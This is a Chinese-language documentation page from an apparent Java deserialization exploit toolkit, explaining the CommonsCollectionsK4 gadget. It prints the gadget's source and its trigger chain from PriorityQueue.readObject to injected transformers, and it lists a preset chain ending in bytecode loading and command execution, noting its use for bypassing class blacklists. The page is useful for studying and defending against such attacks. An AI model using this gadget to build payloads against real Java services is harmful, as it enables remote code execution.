Skip to content

Latest commit

 

History

History
58 lines (48 loc) · 4.25 KB

File metadata and controls

58 lines (48 loc) · 4.25 KB

CC4.0 ChainedTransformer 链(CommonsCollectionsK4)

  • 类别:javanative 别名:K4 优先级:10
  • 作者:—
  • 依赖org.apache.commons:commons-collections4:4.0

作用

K3 在 commons-collections4 上的等价实现:用 PriorityQueue + TransformingComparator + ChainedTransformer 作为触发外壳,并把下游产出的 Transformer[] 注入 ChainedTransformer.iTransformers。同样不自带 InvokerTransformer,把实际转换逻辑交给下游 Transformer 数组,适用于 CC4 环境下需要绕过类黑名单或做多步链式转换的场景。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口。
  • 衔接 nextTagsTransformerChains —— 下游产出 Transformer[](如 TransformerWithTemplatesImpl),注入本 gadget 的链式转换器。
  • excludes:无。

源码剖析

public Queue<Object> getObject(Object obj) throws Exception {
    ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer((Object)1)});
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<Object>)new TransformingComparator((Transformer)transformerChain));
    queue.add(1);
    queue.add(1);
    Reflections.setFieldValue(transformerChain, "iTransformers", obj);
    return queue;
}

逐段解释:

  1. new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) }) —— 先用一个无害的 ConstantTransformer(1) 占位,保证 queue.add 阶段即使触发 compare/transform 也只返回常量 1,不会执行攻击逻辑。
  2. new PriorityQueue(2, new TransformingComparator(transformerChain)) —— 用 TransformingComparator 作比较器;PriorityQueue.readObject 反序列化后会 heapify → siftDown 调用比较器的 compare,这是 CC4 下的触发点(与 CommonsBeanutils1BeanComparator 的思路一致)。
  3. queue.add(1) 两次 —— 放入两个元素使堆在反序列化时确实发生下沉比较,从而触发 compare
  4. Reflections.setFieldValue(transformerChain, "iTransformers", obj) —— 关键点:把占位数组替换为下游产出的真正 Transformer[]obj)。反序列化触发 compare 时,ChainedTransformer.transform 会依次执行注入数组里的每个 Transformer。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.CC_VERSION, ContextTag.CC_VERSION_4);
    return this.getObject(chain.doCreate(context));
}
  • 声明 CC_VERSION_4,把内层对象(应为 Transformer[])交给 getObject。与 K3 一样,不读取方法名,转换逻辑全由下游数组决定。

触发链(反序列化时): PriorityQueue.readObjectheapifysiftDownTransformingComparator.compareChainedTransformer.transform → 依次调用注入的 iTransformers[i].transform(...)(链式)。

参数(@Param)

本类无 @Param。攻击载荷(Transformer[])由下游 TransformerChains gadget 提供并经 iTransformers 注入。

适用版本与原理要点

  • 适用 commons-collections4:4.0TransformingComparator 在 4.0 可序列化,是本链成立前提;后续版本需评估校验变化)。
  • 与 K3 的差异仅在触发容器:CC3 用 LazyMapHashSet 触发路径,CC4 改用 PriorityQueue + 比较器路径。
  • 与 K2 的差异:K2 内建 InvokerTransformer 触发单个无参方法;K4 内建空 ChainedTransformer,逻辑由下游 Transformer 数组决定,更适合链式/绕黑名单需求。

所属预设链

  • K4链[CommonsCollectionsK4, TransformerWithTemplatesImpl, TemplatesImpl, BytecodeConvert, Exec]

关联